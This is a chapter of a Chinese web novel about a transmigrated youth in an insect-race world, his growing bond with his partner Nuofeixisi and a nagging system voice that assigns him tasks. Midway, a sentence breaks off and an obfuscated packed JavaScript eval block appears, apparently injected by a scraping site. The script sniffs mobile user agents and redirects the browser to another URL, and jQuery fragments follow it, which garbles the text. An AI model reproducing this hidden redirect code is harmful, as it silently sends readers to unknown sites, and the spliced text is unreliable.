12. 流鼻血

作品:《虫族之一个火葬场

    伽迩一夜好眠。


    他在温暖炙热的阳光下醒来,睡眼惺忪地磨蹭着床单,一只手在摸索被头时,摸到一层柔软温度。


    熟悉的手感让伽迩警觉起来,一秒内抽回并变得清醒。


    又……摸到了。


    伽迩张开五指,盯着这只养尊处优的手,无情地想:这只手不能要。


    “……雄主?”


    被子传来窸窣的动静,很快被掀动起旁边的一角。


    雌虫倾靠在床边,被子从腰间滑落下来,露出的胸腹线条流畅如弓,半阖的眼睛拉长了眼角的弧度,像一只慵懒漂亮的布偶猫。


    伽迩一眼晃神,多看了几眼,下一秒又猛然掀起被子盖过头顶,连带着边上的被子也盖过雌虫的小腹。他把头埋进被子里,遮住自己眼睛,手指紧紧攥着被单,闷声说:“我……冷,你把被子盖上。”


    “嗯,好。”


    诺菲西斯应了一声,伽迩却觉得腰侧一凉,床单向右侧倾动,然后一道阴影压倒在他身上。


    纤细的花香隔着被套渗透进来,伽迩一动不动,直到身体的两侧被塞入被子的两角,硬是把他团作一团。


    “雄主,有没有好一点?”


    伽迩憋不住从被子里冒出半张脸,眼睛盯着诺菲西斯的脖颈,延伸下去就是袒.露在外的胸.口,看着就冷:“快穿衣服。”


    想了想,又凶巴巴地补充道:“被别的虫看见像什么样子。”


    “是。”


    等穿衣服的声音一过,伽迩鲤鱼打挺地从床上蹦起,不过一周的时间,他已经深得原主话术,切换自如了。


    “我昨晚睡着了,有做什么……奇怪的事吗?”伽迩看了看自己的衣服,被换过了,还有诺菲西斯……竟然只穿了一件衬衫。


    幸好瞟过去的时候没看见什么不该看的东西,至少最后一层布料还是有的,应该……可能……说不定……没有那个那个吧?


    伽迩沉思,还呼唤嘴巴问它原主有没有梦游症,比如睡觉时候会扯虫衣服,然后这样那样地做坏事。


    嘴巴没搭理他,连出现都没出现,应该是昨晚气得不轻,或者压根就不想出来。


    “没有,您一直都很安静。”


    诺菲西斯顿了顿,然后笑出了声:“睡颜也很可爱。”


    「呵呵。」


    一直没出现的嘴巴凭空发出一声冷笑。


    伽迩没看见蓝屏上有出现什么嘴巴,这声音是从脑子里传来的。


    「你笑什么。」


    嘴巴不语,只是一味地呵呵。


    ……真让人火大。


    伽迩干脆不睬他,抽风也不是一次了,下达的任务又是折辱又是欺负,坏得很。


    不过,也多亏嘴巴的魔音攻击,伽迩的脸不红心不跳,快速穿脱好衣服起床,转去里间洗漱。


    雄虫的态度一如既往,诺菲西斯却笑容褪去,眸底晦暗难辨,滋生出别样的情绪。


    雌奴雌侍,甚至是雌君。没有雄主的允许,是要在床边等待雄主的转醒,不能与其同床共枕直到天亮的。


    苛刻的雄主会要求下跪,做一条摇尾乞怜的狗;好一点的雄主对其不设要求,但也仅此了。


    只有宠爱这个雌虫,足够喜爱的时候才会有如此“殊荣”。


    诺菲西斯垂下眼帘,伽迩·雷索,又在玩什么把戏呢?


    伽迩出来后,发现雌虫的视线落在柜下的那个黑皮箱子出神,连开门都没发觉,脚步稍停,维持手握把手的姿势,犹豫片刻,问:“你在想什么?”


    昨晚的困意来势汹汹,他浑身发软,还懒洋洋的,一觉起来骨头都酥了,没有好好注意诺菲西斯的情绪。


    诺菲西斯就盯着那个黑箱子问:“雄主,或许您想用些别的玩具吗?”


    “咳咳咳咳。”伽迩不停咳嗽,为什么诺菲西斯会对这些东西那么执着啊。


    完全都是刑具的东西——


    补药啊。


    “不想。”他不想玩!!


    诺菲西斯遗憾道:“是吗?”


    “那您喜欢什么呢?”


    雌虫的眼睫如霜,似乎眨一眨就能抖下簌簌的雪,万千情绪藏匿在其中:“您喜欢什么呢……”


    伽迩看不得诺菲西斯彷徨的神色,从昨晚的那场聚会起,雌虫的身上总是笼络着不安,半句离不开他。


    被伤到的雌虫首先考虑的是如何挽留,怎么样能做得更好,把他当含在含在嘴里怕化了,捧在手心里怕碎了?的坚冰。


    裹着大衣,要捂他的手。


    找个理由让他吃晚饭,还要一口一口地介绍。


    愁人。


    怎么哄啊。


    “我喜欢的有很多。”


    伽迩在嘴里斟酌,语调平铺直叙,像在陈述一个事实:“吃的,玩的,看的。”


    他是不想去游乐园的,他怕玩得太开心,忘记自己的任务,玩物丧志了。


    但是如果一定要找个理由……


    “拉姆不是有座异兽农场吗?”


    “我想去。”


    找叛军的任务有79天的时间供他挥霍,偶尔放慢脚步和诺菲西斯出去玩,也不会耽误太多时间。


    劳逸结合。


    伽迩给自己找了个心安理得的借口,还给诺菲西斯找了个台阶。


    如果能减去些雌虫心里的忐忑,这就不亏。


    雌虫心领神会,一下子便展颜笑了起来:“雄主,不知道我是否有这个荣幸能陪您去拉姆的农场游玩呢?”


    “可以。”


    伽迩摸了摸鼻尖,别开了眼睛,觉得这张脸看多久都是不能习惯。


    笑起来更是如此。


    “去吃饭吧。”伽迩干巴巴地说。


    诺菲西斯:“好。”


    ·


    诺菲西斯确实是一个很好的伴导,他幽默、健谈、无微不至。


    从饮食,起居,再到游玩,无时无刻不关心到伽迩的情绪。


    没有人在一个陌生的世界里能做到全然的冷静。


    伽迩强撑着的精神在接连的事件中到达了极限,他不过是个刚毕业的高中生,纵然吐槽,自我安慰,也无法掩饰这个事实。


    和雌虫的相处像润物细无声的雨点,连滑落都显得小心翼翼,恍然间,那种刚来到虫族世界的焦虑、担忧、迷茫,被他温柔如水的眼眸悄无声息地藏匿。


    伽迩想:诺菲西斯如果在星际,一定会是一个很受欢迎的人。


    至少他是这么觉得。


    假期临时截止,诺菲西斯接到上级发来的指令,预计今晚前往坎德拉菲星系,对驻扎在k11星球的第十二军团进行支援。


    伽迩对虫族还是处于摸索阶段,平时会看一些新闻报道了解时事,里面有提及到一个叫“滅”的叛军分子在k11进行活动,造成3名高级军官死亡,18名兵虫受伤。


    记者背后的惨烈图景还历历在目,伽迩担心诺菲西斯的安危,但想到他是目标角色,应该不会有危险,抱着这种矛盾的心情,他尝试用不悦的语气说:“你要丢下我不管是吗?”


    雄虫的声音还带着刚起床的鼻音,连着话,听起来就像是一种撒娇式的埋怨。


    诺菲西斯顿了顿,笑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921457|160369||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着摇了摇头:“怎么会呢?您是最重要的。我会先送您回主星,晚上再去军部,好吗?”


    “……”


    话说到这个份上,伽迩也不至于无理取闹让雌虫留下,做太过会突兀,而且也会影响雌虫的仕途。


    转而即逝的快乐总是令人惆怅,就像春游结束后即将回到原来生活时,那种怅然若失的感觉一样。


    伽迩提不起劲,直到临行前,诺菲西斯给了他一个礼物。


    “是什么?”


    伽迩心想,无意间竟说出口。


    诺菲西斯低低笑了起来,尾音轻翘:“您拆开看看。”


    礼盒由金丝捆绑,系了一个漂亮的蝴蝶结,伽迩抽出绑带,打开盖子,柔软的白垫上是一只沉黑的片机。


    伽迩错愕地看向雌虫,诺菲西斯说:“您的终端是不是坏了?”


    “如果不是,就当我开了个小小的玩笑吧。”


    伽迩拿出终端,和他当初的那只似乎是一样的。他被诺菲西斯带着玩,不需要用到终端机,所以也没提出要买。


    “是坏了。”伽迩说,他把终端放回了礼盒,一起轻轻放进礼袋。


    诺菲西斯的视线就落在雄虫的手上,随后是他的脸。


    “希望能帮助到您。”


    诺菲西斯眼睫微垂,颔首低头,抬起雄虫的手背,在上面落下一个轻吻:“我的雄主。”


    “愿您安康。”


    ·


    接下来的一个月,伽迩都不曾见到诺菲西斯,但每天的早上、晚上,都会收到讯息。


    早安、晚安,一些近期的询问,还有对他的想念。


    偶尔会发些稀奇古怪的玩具和衣服照片,前者看得他是云里雾里,后者直接气血上涌,差点流鼻血。


    伽迩每次回复都踩着钢丝线跳舞,回得太热切不行,担心不行,避开那些玩具衣服,只能把询问藏在字里行间中。


    雌虫在K11的任务似乎万分艰难,伽迩通过新闻报道和诺菲西斯的回答,意识到战况的激烈。这群所谓的叛军,是一支远超伽迩想象的庞大队伍,有他们独属的军队。


    真的很可怕。


    寻找叛军任务进度等于零,大嘴有时会给他布置无关痛痒的任务,他基本都完成了,也掌握了一些节奏。


    但除此之外,伽迩在家中无所事事,出去必然要携带随从,回来又是独自一人,和他说话的只剩下机器。


    仆虫虽然不像以前那么怕他,但也不会和他说话;嘴巴只有在任务时出现,平时屁都不放一个。


    伽迩在自学虫族的一些常识功课时,也难免感觉到孤独。


    不是无人说话的孤独,而是单处在一个陌生世界,无人理解的心慌。


    「小鬼。」


    伽迩在书上做笔记,他刚好在理解一段关于两千年前虫族的文化故事,笔下不停,目光专注。


    「小鬼!」


    耳边的声音随他叫,伽迩不搭理,这声音的主人前面是如何冷漠无情地拒绝沟通,他还记得。


    大嘴砸吧了一下嘴唇,声音软了下来:「小鬼,新任务做不做?」


    平时都是用蓝屏显示任务,有时会有提词器提示,这次由大嘴亲自开口,伽迩是好奇的,但迅速闭脑后,将注意力投放在书上,表现出毫不在意。


    大嘴明显急了:


    「这次的任务有奖励,而且对你做抓叛军的任务也有帮助。」


    见伽迩不搭理,它高声补充:「关系到你回归蓝星!」


    伽迩笔下一停,笔滚落在桌面上,啪嗒一声。


    “什么任务?”